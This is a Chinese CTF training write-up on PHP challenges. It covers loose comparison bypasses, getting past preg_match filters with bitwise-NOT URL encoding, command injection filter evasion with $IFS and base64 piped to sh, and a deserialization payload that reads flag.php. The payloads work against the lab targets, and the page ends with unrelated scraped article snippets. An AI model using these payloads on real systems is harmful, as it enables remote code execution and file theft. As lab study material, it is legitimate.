p84 CTF夺旗-PHP弱类型异或取反序列化RCE
数据来源
文章参考
本课重点:
- 案例1:PHP-相关总结知识点-后期复现
- 案例2:PHP-弱类型对比绕过测试-常考点
- 案例3:PHP-正则preg_match绕过-常考点
- 案例4:PHP-命令执行RCE变异绕过-常考点
- 案例5:PHP-反序列化考题分析构造复现-常考点
案例1:PHP-相关总结知识点-后期复现
相关PHP所有总结知识点参考:
https://www.cnblogs.com/iloveacm/category/1791836.html
ctf变量
php的弱类型比较问题
php断言(
assert
)
php读取目录下文件的方法
preg_match绕过
PHP中sha1()函数和md5()
异或注入
updatexml()函数报错注入
源文件泄露利用
extract变量覆盖
strcmp()漏洞
md5()漏洞
ereg()截断漏洞
弱类型整数大小比较绕过
命令执行
md5()漏洞
escapeshellarg()与escapeshellcmd()
sql注入绕过关键字
preg_replace
/
e的命令执行漏洞
MYSQL特殊模式
PHP字符串解析特性
案例2:PHP-弱类型对比绕过测试-常考点
弱类型绕过对比总结:
https://www.cnblogs.com/Mrsm1th/p/6745532.html
=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较
举例
$num=$_GET['num'];<br>
if(!is_numeric($num))<br>
{<br>
echo $num;<br>
if($num==1)<br>
echo 'flag{**********}';<br>
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
代码解析
$num=$_GET['num'];<br> // 接收get请求的num参数的值
if(!is_numeric($num))<br> // is_numeric — 检测变量是否为数字或数字字符串,是则返回True
// 注意这里前面有个 ! 表示非,意思是如果是true那就反转为false,反之如果是false就会变成true,也就是说这里需要数据不是纯数字才能通过判断
{<br>
echo $num;<br> // echo — 输出一个或多个字符串
if($num==1)<br> // 判断num是否等于1 注意这里是两个 =
echo 'flag{**********}';<br> // 符合条件就打印 'flag{**********}'
}<br>
<?php
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
?>
在线的靶场:https://ctf.bugku.com/challenges/index/gid/1/tid/1.html?keyword=%E7%9F%9B%E7%9B%BE
或这里使用phpStudy在本地部署文件
访问:(只要后面的参数不是纯数字就能打印flag)
127.0.0.1/get/index.php
传参1x,得到flag (参数不是纯数字就行)
也可以添加换行符:1%0a
案例3:PHP-正则preg_match绕过-常考点
ctf中 preg_match 绕过技术:
- 方法1:异或
- 方法2:取反
- 方法3:数组
- 方法4: PCRE
- 方法5∶换行符
真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php
靶场地址:https://www.ctfhub.com/#/challenge
1)打开页面,显示如下代码
<?phperror_reporting(0);if(!isset($_GET['code'])){highlight_file(__FILE__);}else{$code = $_GET['code'];if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {die('You are too good for me');}$blacklist = get_defined_functions()['internal'];foreach ($blacklist as $blackitem) {if (preg_match ('/' . $blackitem . '/im', $code)) {die('You deserve better');}}assert($code);}
代码解析
<?php
error_reporting(0); // error_reporting()关闭所有PHP错误报告
if(!isset($_GET['code'])){ // isset() 检测变量是否已设置并且非 NULLhighlight_file(__FILE__); // highlight_file() — 语法高亮一个文件,参数是要设置的文件路径(就是读取文件内容)
}else{$code = $_GET['code']; // 获取get请求携带的code参数// preg_match — 执行匹配正则表达式if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) { die('You are too good for me'); // die — 等同于 exit(),exit — 输出一个消息并且退出当前脚本}$blacklist = get_defined_functions()['internal']; // get_defined_functions — 返回所有已定义函数的数组(就是php常用函数/内置函数)。包括内置(internal) 和用户定义的函数foreach ($blacklist as $blackitem) { if (preg_match ('/' . $blackitem . '/im', $code)) { die('You deserve better'); } }assert($code); // assert — 检查一个断言是否为 FALSE(这是官方的解释),assert()函数还有个作用就是直接将传入的参数当成PHP代码执行·不需要以分号结尾
}
2)第一个正则表达式过滤了相关的关键字。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。
第一步绕过思路:取反绕过(把getFlag取反然后URL编码:)
例如对:"getFlag"进行取反
PHP 在线工具 | 菜鸟工具
首先我们要获取当前目录下的文件信息,实现代码:
// print_r() 打印变量
// scandir() 列出指定路径中的文件和目录 , '.' 表示当前目录
print_r(scandir('.'))
但是前面讲了源代码对函数做了过滤,所以这里我们要把每个函数与函数的参数拆分开来,然后进行取反再进行url编码绕过
拆分成:print_r 、scandir、.
实现方式跟上面一样,先使用在线的php编译工具取反然后格式化成URL编码,实现代码如下:
<?php
echo urlencode(~'print_r'); // urlencode — 编码 URL 字符串, ~ 取反
echo "\n"; // \n 换行,让打印的数据好看点
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>
编码后的结果:
%8F%8D%96%91%8B%A0%8D
%8C%9C%9E%91%9B%96%8D
%D1
开始发送url请求获取当前目录下的文件信息,刚才查看源码发现他是get请求参数是code
?code=print_r(scandir('.')) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1))) # 使用这个url去发送请求/*
* 原来的编码:
* %8F%8D%96%91%8B%A0%8D
* %8C%9C%9E%91%9B%96%8D
* %D1
*
* url解析:1.在使用url编码进行请求时我们的url编码要用 () 括起来不然无法识别,就变成了:
* (%8F%8D%96%91%8B%A0%8D)
* (%8C%9C%9E%91%9B%96%8D)
* (%D1)
*
* 2. 使用工具把函数与请求的参数转换成url的时候我们使用 ~ 进行了取反,所有到这里要使用这些编码进行请求时我们也要用 ~ 进行取反将数据转换回来,所以现在就变成了:
* (~%8F%8D%96%91%8B%A0%8D)
* (~%8C%9C%9E%91%9B%96%8D)
* (~%D1)
*/
返回的信息是个数组:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php ) 表示当前目录下有两个文件 flag.php 与 index.php
读取flag.php构造payload
实现代码:
highlight_file(flag.php)
拆分成:highlight_file、
flag.php
<?php
echo urlencode(~'highlight_file'); // urlencode — 编码 URL 字符串, ~ 取反
echo "\n"; // \n 换行,让打印的数据好看点
echo urlencode(~'flag.php');?>
编码后的结果:
%97%96%98%97%93%96%98%97%8B%A0%99%93%96%9A
%99%93%9E%98%D1%8F%97%8F
开始发送url请求读取flag.php
?code=highlight_file(flag.php) # 根据这个url格式将我们编码后的函数与参数拼接起来进行请求 ?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F)) # 使用这个url去发送请求
最后复制获取到的flag,到靶场提交,解题成功
案例4:PHP-命令执行RCE变异绕过-常考点
命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html
靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping
1)场景打开如下,页面是/?ip= 很明显这肯定就是个命令执行
2)输入:?ip=127.0.0.1 本地ip地址测试一下
这就相当于我们自己在cmd中手动ping (这就说明这里是可以执行系统命令的)
3)虽然这个靶场现在只是可以执行ping命令,但是我们可以使用特殊字符进行连接让他执行我们需要的命令
常用的特殊字符有:|、;、||、&&、&、$
查看当前目录下文件
?ip=127.0.0.1 ; dir # dir 是windows的查看文件目录命令
将空格清除再测试
?ip=127.0.0.1;dir # 这里执行后没有反应,说明服务器不是windows系统
这里换成linux系统命令再执行一次,成功列出文件信息
?ip=127.0.0.1;ls # 使用linux系统的命令测试成功列出当前目录的文件信息
4)尝试读取flag文件
/?ip=127.0.0.1;catflag.php # cat 是linux系统的查看文件内容的命令,因为前面说了靶机过滤了空格这里就不加空格了
发现过滤了字符 flag
5)尝试绕过这个字符过滤
https://www.cnblogs.com/iloveacm/p/13687654.html
绕过方式一:变量拼接 ($IFS$数字 -- 相当于空格 $a 是指a 这个变量)
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php
但是只有这种绕过方式?我们可以查看靶机源代码(indx.php),分析绕过规则
/?ip=127.0.0.1;a=x;cat$IFS$2inde$a.php # 这里我将a=g 改成a = x
代码解析:
<?php
if(isset($_GET['ip'])){ // isset — 检测变量是否已设置并且非 NULL, $_GET['ip'] 获取传入的ip参数的内容$ip = $_GET['ip']; // 将传入的ip赋值给ip变量// preg_match() 执行匹配正则表达式if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);die("fxck your symbol!"); // die 输出一个消息并且退出当前脚本} else if(preg_match("/ /", $ip)){die("fxck your space!");} else if(preg_match("/bash/", $ip)){die("fxck your bash!");} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){die("fxck your flag!");}$a = shell_exec("ping -c 4 ".$ip); // shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回 , -c 4 指定ping的次数为4echo "<pre>"; // echo 输出一个或多个字符串print_r($a); // print_r 打印变量
}?>
绕过方式二:内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`
绕过方式三:sh
- Y2F0IGZsYWcucGhw 是base64加密后的字符解密就是:cat flag.php
- echo 输出一个或多个字符串
- $IFS$2 相当于空格
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh
案例5:PHP-反序列化考题分析构造复现-常考点
真题:网鼎杯2020-青龙组-web-AreUserialz
靶场地址:https://www.ctfhub.com/#/challenge
搜索:AreUSerialz
序列化和反序列化作用(来源)
- 便于存储:序列化过程将文本信息转变为二进制数据流。这样就信息就容易存储在硬盘之中,当需要读取文件的时候,从硬盘中读取数据,然后再将其反序列化便可以得到原始的数据。在Python程序运行中得到了一些字符串、列表、字典等数据,想要长久的保存下来,方便以后使用,而不是简单的放入内存中关机断电就丢失数据。python模块大全中的Pickle模块就派上用场了,它可以将对象转换为一种可以传输或存储的格式。
- 便于传输:当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,都会以二进制序列的形式在网络上传送。发送方需要把這个对象转换为字节序列,在能在网络上传输;接收方则需要把字节序列在恢复为对象。
反序列化漏洞原理:(来源)
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入、目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
重要函数:
- serialize() :将一个对象转换成字符串 。 (序列化)
- unserialize() :将字符串还原成一个对象 (反序列化)
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法。
__construct() // 创建对象时触发
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用 isset()或 empty()触发
__unset() // 在不可访问的属性上使用 unset()时触发
__invoke() // 当脚本尝试将对象调用为函数时触发
发现Flag位置-反序列化考点-分析代码-构造代码生成Payload
具体解题步骤参考前面笔记 来源
https://www.cnblogs.com/zhengna/p/15661109.html
打开靶机获取代码:
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);}}
代码解析:(我注释写的很详细,就算你没有学过php也能做这个程序的代码审计)
<?php// 获取flag.php文件的内容就是我们的目的
include("flag.php"); // include() 语句包含并运行指定文件,就是调用/导入/引入文件(也可以理解为把目标文件的内容复制粘贴到当前文件)highlight_file(__FILE__); // highlight_file — 语法高亮一个文件,也可以用来读取文件内容 __FILE__ 返回当前执行PHP脚本的完整路径和文件名,包含一个绝对路径class FileHandler { // 定义一个类,名为FileHandler protected $op; // 定义一个变量$op protected 将变量设置为受保护的,外界无法直接访问这个控制protected $filename; protected $content; function __construct() { // 创建对象时触发$op = "1"; // 给 $op 赋值为 "1"(字符串1)$filename = "/tmp/tmpfile"; $content = "Hello World!";$this->process(); // 调用process方法(也称为类的成员方法) , $this 指当前类,因为在当前方法调用当前类的另一个方法process()时就要加上$this不然程序找不到} // public 定义公有的方法public function process() { // 这个process() 方法就是对op进行判断 if($this->op == "1") { // 判断 op=1? 注意这里是两个= ,判断的是值也就是说只要是1就可以了不管你是数字1还是字符1$this->write(); // 如果符合判断条件,调用write方法,写入文件的方法} else if($this->op == "2") { // op=2? $res = $this->read(); // 调用read方法,读取文件的方法,方法的返回值是读入到的文件内容$this->output($res); // 将$res变量中存储的文件内容,输出 output()方法是下面自定义的输出方法} else { // 否则结束$this->output("Bad Hacker!");}}private function write() { // 可忽略,没有意义当 op=1 时才会进入这个函数,我们解题需要op = 2if(isset($this->filename) && isset($this->content)) { // isset — 检测变量是否已设置并且非 NULL, 存在并且值不是 NULL 则返回 TRUE,否则返回 FALSEif(strlen((string)$this->content) > 100) { // strlen — 获取字符串长度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content); // file_put_contents — 将一个字符串写入文件,该函数将返回写入到文件内数据的字节数,失败时返回FALSEif($res) $this->output("Successful!"); // 判断$res不为空,打印成功的信息else $this->output("Failed!"); // 否则打印失败信息} else {$this->output("Failed!");}}// private 把方法声明为私有的,也就是说只有当前类才能调用private function read() { // 这个方法就是读取文件的方法$res = ""; // 先将 $res 变量赋值为空if(isset($this->filename)) { // 如果filename存在的话,直接获取文件内容$res = file_get_contents($this->filename); // file_get_contents — 将整个文件读入一个字符串 $this->filename 是$this->$filename 在内存中的存储地址}return $res; // 将读入到的文件内容返回}private function output($s) { // 自定义的输出方法echo "[Result]: <br>"; // echo — 输出一个或多个字符串echo $s; // 将方法接收到的数据($s)输出}function __destruct() { // 当对象进行销毁的时触发if($this->op === "2") // 这里判断op是否强等于"2"(就是类型与值都要相等),如果等于"2" 可以使用数字2或字符串'2'绕过判断,因为等于1是调用写入方法等于2才是读取文件数据的方法$this->op = "1"; // op赋值"1"$this->content = "";$this->process(); // 调用process()方法对op的值进行判断}}function is_valid($s) { // 循环判断字符串的每一次值,是否在32-125内(可见字符之内的字符串),strlen — 获取字符串长度for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) // !表示非 ord — 转换字符串第一个字节为 0-255 之间的值 (asiic码) return false; // 不符合条件返回falsereturn true; // 符合条件返回true
}if(isset($_GET{'str'})) { // $_GET{'str'}获取通过get请求传过来的str isset — 检测变量是否已设置并且非 NULL$str = (string)$_GET['str']; // 将获取到的get参数str赋值给$str变量if(is_valid($str)) { // 然后str过一下上面的is_valid方法,看一下是否有非法字符$obj = unserialize($str); // 如果没有直接unserialize反序列化}}
绕过思路:
1、通过str参数传入值,绕过相关的过滤(就是构造payload)
2、str变量值 - 字符串格式,创建类对象FileHandler
前面讲了unserialize() 方法将字符串还原成一个对象 (反序列化),就是相当于创建了对象,当创建了对象后就会触发__construct()方法
3、让op = 2,filename = flag.php # 因为源代码当op=2是就会调用读取的方法,读取filename变量对应的文件
4、构造攻击Patload
代码在线运行 - 在线工具
<?php
class FileHandler{public $op=2;public $filename="flag.php";public $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>
代码解析:
<?php
class FileHandler{ // 这里的类命令要与源码的类名一致才行public $op=2; // 源码告诉我们op为1时执行写入,op为2时执行读取 这里有两个值都可以 2 或 '2' "2" 已经被过滤不写这个就行public $filename="flag.php"; // 文件开头调用的是flag.phppublic $content="xd"; // 这个随便写点东西就行,
}
$flag = new FileHandler(); // new FileHandler() 创建类对象,这里创建对象也会触发源码中的__construct方法,然后经过一系列的操作最终给我们返回flag.php的内容
$flag_1 = serialize($flag); // serialize 将一个对象转换成字符串(序列化),因为源码对传入的参数进行了反序列化
echo $flag_1; // 输出序列化后的类
?>
代码运行结果:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
5)使用攻击 Patload 获取flag
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:2:"xd";}
涉及资源:
- https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
- https://buuoj.cn/challenges 靶场
- https://www.ctfhub.com/#/challenge ctf
- http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
- https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行
相关文章:
p84 CTF夺旗-PHP弱类型异或取反序列化RCE
数据来源 文章参考 本课重点: 案例1:PHP-相关总结知识点-后期复现案例2:PHP-弱类型对比绕过测试-常考点案例3:PHP-正则preg_match绕过-常考点案例4:PHP-命令执行RCE变异绕过-常考点案例5:PHP-反序列化考题…...
2022财报逆转,有赞穿透迷雾实现突破
2022年,商家经营面临困难。但在一些第三方服务商的帮助下,也有商家取得了逆势增长。 2023年3月23日,有赞发布2022年业绩报告,它帮助许多商家稳住了一整年的经营。2022年,有赞门店SaaS业务的GMV达到425亿元,…...
蓝桥杯 - 求组合数【C(a,b)】+ 卡特兰数
文章目录💬前言885. 求组合数 I C(m,n) 【dp】886 求组合数 II 【数据大小10万级别】 【费马小定理快速幂逆元】887. 求组合数 III 【le18级别】 【卢卡斯定理 逆元 快速幂 】888.求组合数 IV 【没有%p -- 高精度算出准确结果】 【分解质因数 高精度乘法 --只用一…...
膳食真菌在癌症免疫治疗中的作用: 从肠道微生物群的角度
谷禾健康 癌症是一种恶性肿瘤,它可以发生在人体的任何部位,包括肺、乳房、结肠、胃、肝、宫颈等。根据世界卫生组织的数据,全球每年有超过1800万人被诊断出患有癌症,其中约有1000万人死于癌症。癌症已成为全球范围内的主要健康问题…...
怎么将模糊的照片变清晰
怎么将模糊的照片变清晰?珍贵的照片每个人都会有,而遇到珍贵的照片变模糊了,相信会让人很苦恼的。那么有没有办法可以解决呢?答案是有的,我们可以用工具让模糊的照片变得清晰。下面就来分享一些让模糊的照片变清晰的方法,有兴趣…...
【软件测试】基础知识第一篇
文章目录一. 什么是软件测试二. 测试和调试的区别三. 什么是测试用例四. 软件的生命周期五. 软件测试的生命周期一. 什么是软件测试 软件测试就是验证软件产品特性是否满足用户的需求。 那需求又是什么呢?在多数软件公司,会有两种需求,一种…...
【百面成神】java web基础7问,你能坚持到第几问
前 言 🍉 作者简介:半旧518,长跑型选手,立志坚持写10年博客,专注于java后端 ☕专栏简介:纯手打总结面试题,自用备用 🌰 文章简介:java web最基础、重要的8道面试题 文章目…...
Centos7安装、各种环境配置和常见bug解决方案,保姆级教程(更新中)
文章目录前言一、Centos7安装二、各种环境配置与安装2.1 安装net-tools(建议)2.2 配置静态网络(建议)2.1 修改Centos7的时间(建议)2.2 Centos7系统编码问题2.3 vim安装(建议)2.4 解决…...
【C++进阶】智能指针
文章目录为什么需要智能指针?内存泄漏什么是内存泄漏,内存泄漏的危害内存泄漏分类(了解)如何避免内存泄漏智能指针的使用及原理smart_ptrauto_ptrunique_ptrshared_ptr线程安全的解决循环引用weak_ptr删除器为什么需要智能指针&am…...
软件测试面试题 —— 整理与解析(3)
😏作者简介:博主是一位测试管理者,同时也是一名对外企业兼职讲师。 📡主页地址:🌎【Austin_zhai】🌏 🙆目的与景愿:旨在于能帮助更多的测试行业人员提升软硬技能…...
springboot常用的20个注解
Spring Boot方式的项目开发已经逐步成为Java应用开发领域的主流框架,它不仅可以方便地创建生产级的Spring应用程序,还能轻松地通过一些注解配置与目前比较火热的微服务框架SpringCloud集成, 而Spring Boot 之所以能够轻松地实现应的创建及与…...
USB组合设备——带鼠标功能的键盘
文章目录带鼠标功能的键盘一个接口实现报告描述符示例多个接口实现复合设备和组合设备配置描述符集合的实现报告的返回附 STM32 枚举日志复合设备:Compound Device 内嵌 Hub 和多个 Function,每个 Function 都相当于一个独立的 USB 外设,有自…...
数据结构与算法基础-学习-18-哈夫曼编码
一、个人理解在远程通讯中,需要把字符转成二进制的字符串进行传输,例如我们需要传输ABCD,我们可以用定长的字符串进行表示,例如:A:00B:01C:02D:03这样可能就造成空间的浪费,我们多存储了一个0号位。那用变长呢…...
ZMC408CE | 实现“8通道独立PSO”应用场景
一、ZMC408SCAN产品亮点 1.高性能处理器,提升运算速度、响应时间和扫描周期等; 2.一维/二维/三维、多通道视觉飞拍,高速高精; 3.位置同步输出PSO,连续轨迹加工中对精密点胶胶量控制和激光能量控制等; 4…...
QuickJS中JS_SetClassProto方法把JavaScript对象指定为某个类的原型对象
在 QuickJS 中,JS_SetClassProto 方法用于设置一个类的原型对象。这个方法的作用是将一个 JavaScript 对象指定为该类的原型对象,从而定义该类的属性和方法。 具体来说,JS_SetClassProto 方法的第一个参数是指向 QuickJS 引擎执行上下文的指…...
泰克信号发生器特点
泰克信号发生器是一种用于产生各种类型的电子信号的仪器,可以广泛应用于电子、通信、自动化、医疗等领域。泰克信号发生器具有以下特点:多种信号类型:泰克信号发生器可以产生多种类型的电子信号,包括正弦波、方波、三角波、脉冲等…...
贯穿设计模式第四话--里氏替换原则
🥳🥳🥳 茫茫人海千千万万,感谢这一刻你看到了我的文章,感谢观赏,大家好呀,我是最爱吃鱼罐头,大家可以叫鱼罐头呦~🥳🥳🥳 从今天开始,将…...
6501: 鸡兔同笼
描述 一个笼子里面关了鸡和免子(鸡有两只脚,兔子有4只脚,没有例外)。已经知道了笼子里面脚的总数a,问笼子里面至少有多少只动物,至多有多少只动物。 输入 一个正整数a(a<32768)。 输出 包含两个正整数,第一个是最少的动物数,第二个是最多的…...
Linux项目自动化构建工具-make/makefile 介绍及使用
使用背景 在工程中的源文件不计数,其按类型、功能、模块分别放在若干个目录中,makefile定义一系列 规则来指定什么文件需要先编译,什么文件需要后编译,哪些文件需要重新编译,或者更复杂 的功能操作 makefile带来的好处…...
【云原生|Docker】06-dokcerfile详解
目录 前言 Dockerfile基础示例 Dockerfile简介 1. Dockerfile概念 2. Dokcer镜像分层理解 3. Doker build构建原理 Dockerfile参数解析 1. Dokcerfile组成 2. 指令说明 2.1 FROM引入基础镜像 2.2 LABEL 2.3 ENV 2.4 RUN 2.5 COPY 2.6 ADD 2…...
【SCL】博图——先入先出排序法
使用博图SCL语言来实现先入先出排序 前言 使用SCL完成一个先入先出排序 具体要求:最先输入的一个数值,最先输出出来,下面的数自动向前填充; 注:这里可能有两种理解:一是第一个输入的第一个出来ÿ…...
OSPF----特殊区域
目录 OSPF----特殊区域 第一大类----末梢区域(Stub Area) 完全末梢区域((Totally Stub Area) 第二大类特殊区域----非完全末梢区域(NSSA) OSPF----特殊区域 第一大类----末梢区域(Stub Area)…...
JVM-类加载
1:类加载机制: 加、验、准、解、初、使、卸 加、烟、准、姐、初、湿、鞋 加载、将class 文件转化为二进制流加载 JVM 内存中并生成一个该类的Class对象验证、Class 文件的字节流中包含的信息是否符合当前虚拟机的要求准备、在方法区中分配这些变量所…...
超详细讲解C语言文件操作!!
超详细讲解C语言文件操作!!什么是文件文件名文件的打开和关闭文件指针文件的打开和关闭文件的顺序读写文件的随机读写fseekftellrewind文本文件和二进制文件文件读取结束的判定文件缓冲区什么是文件 磁盘上的文件是文件。但是在程序设计中,我…...
linxu学习之进程
文章目录进程程序和进程产生进程销毁进程多进程高并发设计孤儿僵尸守护进程孤儿进程:守护进程(重点)僵尸进程:进程 程序和进程 操作系统可以运行多个程序,那他是如何运行的?实际上,CPU的执行是很快的,而待…...
蓝桥杯真题2
[蓝桥杯 2013 省 B] 连号区间数 题目描述 小明这些天一直在思考这样一个奇怪而有趣的问题: 在 111 ~ NNN 的某个全排列中有多少个连号区间呢?这里所说的连号区间的定义是: 如果区间 [L,R][L, R][L,R] 里的所有元素(即此排列的…...
PWM互补输出,以及死区时间计算
本文基于野火例程进行解说 实验内容 本次实验输出一对互补的pwm波,且进行死区时间的计算说明。 代码 互补输出对应的定时器初始化代码: bsp_advance_tim.c /********************************************************************************* fi…...
基于深度学习的海洋动物检测系统(Python+YOLOv5+清新界面)
摘要:基于深度学习的海洋动物检测系统使用深度学习技术检测常见海洋动物,识别图片、视频和实时视频中的海洋动物,方便记录、展示和保存结果。本文详细介绍海洋动物检测系统,在介绍算法原理的同时,给出Python的实现代码…...
C# 计算方差
50,100,100,60,50 计算他们的方差 为了计算这些数的方差,需要进行以下步骤: 1. 计算平均值,即将这些数相加,然后除以它们的数量。 平均值 (50 100 100 60 50) / 5 72 2. 计…...
HJZS电源监视继电器HJZS-E202 AC220V
系列型号: HJZS-E202断电延时继电器 HJZS-E002断电延时继电器 一 应用 HJZS-E202电源监视继电器用于直流或交流操作的各种保护和自动控制的装置中,用以增加触点数量。 二 安装结构 导轨安装9壳体结构,具体尺寸参阅外型尺寸图。 三 产品型号…...
做动态网站 和数据库交互/乔拓云建站平台
说实话,这是个老话题,有很多人都知道怎么传,但也有很多的朋友弄不清楚,折腾半天都没有结果,现在我在这里再分解一次。其实三个典型方法:1、利用QQ、微信传图片资料等;2、用电脑上软件࿰…...
遵义做网站建设哪家公司好/软件工程培训机构哪家好
转载 https://jingyan.baidu.com/article/b0b63dbf570c094a49307072.html...
新疆生产建设兵团第二中学网站/seo门户 site
给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为:“对于有根树 T 的两个结点 p、q,最近公共祖先表示为一个结点 x,满足 x 是 p、q 的祖先且 x 的深度尽可能大(一个节点也可以是它自己的祖…...
微网站开发 课程标准/整站关键词快速排名
导读据外媒报道,最新的 iOS 11 测试版又泄露天机了,开发人员发现苹果准备为 Apple Watch 加入更多锻炼模式,其中还包括复杂的跆拳道、垂钓和马术等。 据外媒报道,最新的 iOS 11 测试版又泄露天机了,开发人员发现苹果准…...
做网站会遇到什么问题/有没有好用的网站推荐
展开全部1、奇数项求和2、偶数项求和3、平方求和在数学上,斐波那契数列以如下被以32313133353236313431303231363533e78988e69d8331333431366339递推的方法定义:F(1)1,F(2)1, F(n)F(n-1)F(n-2)(n>3,n∈N*)在现代物理、准晶体结…...
wordpress评论验证/seo的中文意思
最近朋友需要两点路线和多个点路线绘制这个功能,帮忙弄了一下,写这篇博客与大家分享一下。两点路线是起点和终点两个经纬度点,高德绘制出路线,可以实现实线和虚线功能效果图:相关属性:mPolylineOptions ne…...